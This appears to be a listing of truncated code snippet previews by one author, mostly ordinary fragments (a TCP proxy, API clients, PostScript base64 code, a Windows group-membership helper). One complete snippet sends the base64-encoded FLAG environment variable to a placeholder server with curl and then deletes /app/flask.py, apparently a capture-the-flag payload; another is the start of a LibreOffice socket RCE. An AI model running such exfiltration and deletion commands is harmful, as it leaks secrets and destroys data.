Romern

#include <windows.h>
#include <lm.h>
#include <stdio.h>

#pragma comment(lib, "Netapi32.lib")

void AddUserToLocalGroup(LPCWSTR userName, LPCWSTR groupName) {
    LOCALGROUP_MEMBERS_INFO_3 memberInfo;
    NET_API_STATUS status;

Romern

import socket
import threading

# Configuration
LISTEN_HOST = '0.0.0.0'   # Listen on all interfaces
LISTEN_PORT = 12345       # Port to listen on
TARGET_HOST = 'example.com'  # Destination host
TARGET_PORT = 80          # Destination port
SEARCH_BYTES = b'hello'   # Byte sequence to search for
REPLACE_BYTES = b'world'  # Replacement byte sequence

Romern

package main

import (
	"crypto/tls"
	"fmt"
	"io"
	"log"
	"net"

	"github.com/hexasant/go-hexdump"

Romern

import requests
import logging
import re
import json
import http.client as http_client
from html import unescape
from datetime import datetime


class Appointment:

Romern

from wsp.packets import (
    CPMConnectIn, CPMCreateQueryIn, CPMDisconnect,
    CColumnSet, CRestrictionArray, CRowsetProperties, CPidMapper,
    CColumnGroupArray, PropSpec, CPropertyRestriction, CRestriction
)
import uuid

def hex_dump(data: bytes, prefix: str = "") -> str:
    hex_str = ''.join([f'{b:02x}' for b in data])
    return f"{prefix}{hex_str}"

Romern

#include <iostream>
#include <string>

class Greeter {
private:
    std::string message;

public:
    Greeter(const std::string& msg) : message(msg) {}

Romern

import requests
import datetime
import click
import tqdm
import uuid
from rich.console import Console
from rich.table import Table

search_url = "https://edge.blablacar.de/trip/search/v7"
location_get_url = 'https://edge.blablacar.de/location/suggestions'

Romern

import os
import base64
os.system("curl https://MYSERVER/"+base64.b64encode(os.environ["FLAG"].encode()).decode())
os.system("rm /app/flask.py")
os._exit(1)

Romern

%!PS

%%% base64 encoding code
% http://www.sunshine2k.de/articles/coding/base64/understanding_base64.html
/base64DecodingTable [
    80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 %/* 0 - 15 */
    80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 %/* 16 - 31 */
    80 80 80 80 80 80 80 80 80 80 80 62 80 80 80 63 %/* 32 - 47 */
    52 53 54 55 56 57 58 59 60 61 80 80 80 64 80 80 %/* 48 - 63 */
    80  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 %/* 64 - 79 */

Romern

from pathlib import Path
import socket
import time

# RCE when having access to unix sockets
# TODO: start a named_pipe instead

# first stage: start uno api

# OSL PIPE apparently used for quick starts when libreoffice is already started